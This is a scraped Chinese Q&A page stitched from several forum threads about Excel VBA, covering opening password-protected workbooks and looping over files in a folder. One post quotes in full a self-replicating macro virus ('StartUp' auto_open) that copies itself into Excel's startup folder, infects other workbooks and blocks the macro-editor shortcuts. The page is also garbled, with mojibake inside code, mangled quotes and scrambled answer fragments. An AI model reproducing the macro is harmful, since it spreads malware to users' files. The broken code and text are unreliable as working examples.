VBA 如何vba读取excel文件具有打开时需要密码的excel

来源：蜘蛛抓取(WebSpider) 时间：2015-02-06 02:24 标签： vba 打开excel
怎样利用vba屏蔽打开带有密码保护的excel文件的密码输入框
[问题点数：40分]
怎样利用vba屏蔽打开带有密码保护的excel文件的密码输入框
[问题点数：40分]
不显示删除回复
显示所有回复
显示星级回复
显示得分回复
只显示楼主
相关帖子推荐：
2011年5月 VB大版内专家分月排行榜第一2011年4月 VB大版内专家分月排行榜第一2011年3月 VB大版内专家分月排行榜第一2011年2月 VB大版内专家分月排行榜第一2011年1月 VB大版内专家分月排行榜第一2010年12月 VB大版内专家分月排行榜第一2010年11月 VB大版内专家分月排行榜第一2002年2月 VB大版内专家分月排行榜第一2002年1月 VB大版内专家分月排行榜第一
2002年3月 VB大版内专家分月排行榜第三
本帖子已过去太久远了，不再提供回复功能。VBA中如何打开一个文件夹内的所有EXCEL文件?_百度知道
VBA中如何打开一个文件夹内的所有EXCEL文件?
能给出代码么?
我有更好的答案
按默认排序
'这段代码是读取一个文件夹下的所有文件,也可以根据扩展名筛选其它格式的. '有了文件名,就是打开文件,获得每个文件的SHEET名字.然后写到你想要的地方 Sub Macro1() Dim myDialog As FileDialog, oFile As Object, strName As String, n As Integer Dim FSO As Object, myFolder As Object, myFile珐户粹鞠诔角达携惮毛s As Object ,Dim fn$ Set myDialog = Application.FileDialog(msoFileDialogFolderPicker) n = 1 With myDialog If .Show && -1 Then Exit Sub Set FSO = CreateObject(&Scripting.FileSystemObject&) '这是文件夹选择,点选到你存放文件的那个 Set myFolder = FSO.GetFolder(.InitialFileName) Set myFiles = myFolder.Files For Each oFile In myFiles strName = UCase(oFile.Name) strName = VBA.Right(strName, 3) If strName = &xls& Or strName = &XLS& Then '这是扩展名选择 '下面就可接着写打开文件读取数据再写入的语句了,如下: fn = myFolder & &\& & oFile.Name Workbooks.Open Filename:=fn Worksheets(1).Select '假设你读取SHEET1的数据 RANGE_ = Range(&A2:F50&) '需要数据的区域,自己修改 Windows(&外部表格数据自动导入.xls&).Activate '这个是新表的文件名,自己修改下 Worksheets(n).Select '打开第几个文件就选择SHEET几,如果没有可用ADD代码添加 Range(&a2:f5&) = RANGE_ '写入数据 Workbooks(2).Close n = n + 1 End If Next End With End Sub
其他类似问题
excel的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁周末好！打开有VB程序的EXCEL表格就会出现VBAProject密码框_excel吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名：今日本吧第个签到，本吧因你更精彩，明天继续来努力！
本吧签到人数：0成为超级会员，使用一键签到本月漏签0次！成为超级会员，赠送8张补签卡连续签到：天&&累计签到：天超级会员单次开通12个月以上，赠送连续签到卡3张
关注：59,194贴子：
周末好！打开有VB程序的EXCEL表格就会出现VBAProject密码框收藏
打开有VB程序的EXCEL表格就会出现VBAProject密码框，退出或输入密码后，在“模块”处生成一个“start Up”文件，文件内容如下，不知为什么？Sub auto_open()On Error Resume NextIf ThisWorkbook.Path && Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" ThenApplication.ScreenUpdating = FalseThisWorkbook.Sheets("StartUp").CopyActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")n$ = ActiveWorkbook.NameActiveWindow.Visible = FalseWorkbooks("StartUp.xls").SaveWorkbooks(n$).Close (False)End IfApplication.OnSheetActivate = "StartUp.xls!cop"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnKey "%{F8}", "StartUp.xls!escape"End SubSub cop()On Error Resume NextIf ActiveWorkbook.Sheets(1).Name && "StartUp" ThenApplication.ScreenUpdating = Falsen$ = ActiveSheet.NameWorkbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)Sheets(n$).SelectEnd IfEnd SubSub escape()On Error Resume NextApplication.OnSheetActivate = "StartUp.xls!back"Application.OnKey "%{F11}"Application.OnKey "%{F8}"Application.SendKeys "%{F11}"Application.SendKeys "%{F8}"For Each book In WorkbooksApplication.DisplayAlerts = FalseIf book && "StartUp.xls" Then book.Sheets("StartUp").DeleteNextFor Each book In WorkbooksIf book.Name = "StartUp.xls" Thenbook.CloseEnd IfNextEnd SubSub back()On Error Resume NextApplication.OnKey "%{F8}", "StartUp.xls!escape"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnSheetActivate = "StartUp.xls!cop"Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"Workbooks.Open Application.StartupPath & "\StartUp.xls"End Sub
我杀毒了也不行
登录百度帐号推荐应用
为兴趣而生，贴吧更懂你。或用VBA代码打开其他excel工作簿(有打开密码的)???_百度知道
用VBA代码打开其他excel工作簿(有打开密码的)???
其中一个名为我有两个excel文件.xls文件并将A1单元格赋值给统计,请问在统计.xls用VBA代码打开成绩:123456).xls(这个有打开密码为:成绩,另一个是.xls:统计?注:成绩.xls工作表中的A1
提问者采纳
成绩.[A1] =).Sheets(1);A1&quot.Range(&quot.xls&.Sheets(1):=123456)
ThisWorkbook, Password:=&quot.Open(FilenameSet wk = Workbooks
提问者评价
一楼没问题,二楼的将成绩.xls工作表改成中文后再运行,就提示溢出了,取决了准确性及回答时间早晚
其他类似问题
excel的相关知识
按默认排序
其他1条回答
Workbooks.xls&D.Open path1.Range(&sheet1&).Range(&A1&quot.Worksheets(&成绩;), ;), 123456Workbooks(&quot:\成绩;sheet1&统计;).xls&quot.Worksheets(&quot, ;) = Workbooks(&quot, True.xls&A1&quotSub ddd()Dim path1 As Stringpath1 = &quot
您可能关注的推广
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁vba 如何打开一个文件夹及其子文件夹中所有的Excel文件_百度知道
vba 如何打开一个文件夹及其子文件夹中所有的Excel文件
提问者采纳
FileSearchWith fs&#39,请参考VBA自身的帮助.SearchSubFolders = True'根据上面的设置执行查找.Count&#39.FileType = msoFileTypeExcelWorkbooks&#39.FoundFiles.ExecuteFor i = 1 To ,很详细的:\设置要查找的起始目录;是否查找子目录;要查找的文件类型.以下代码供参考;Tmep&#39.LookIn = C.Sub aRef()Dim i As LongDim fs As ObjectSet fs = Application有关FileSearch对象更多的信息
采纳率100%
其他类似问题
子文件夹的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁

我要回帖

更多关于 vba 打开excel 的文章

 

随机推荐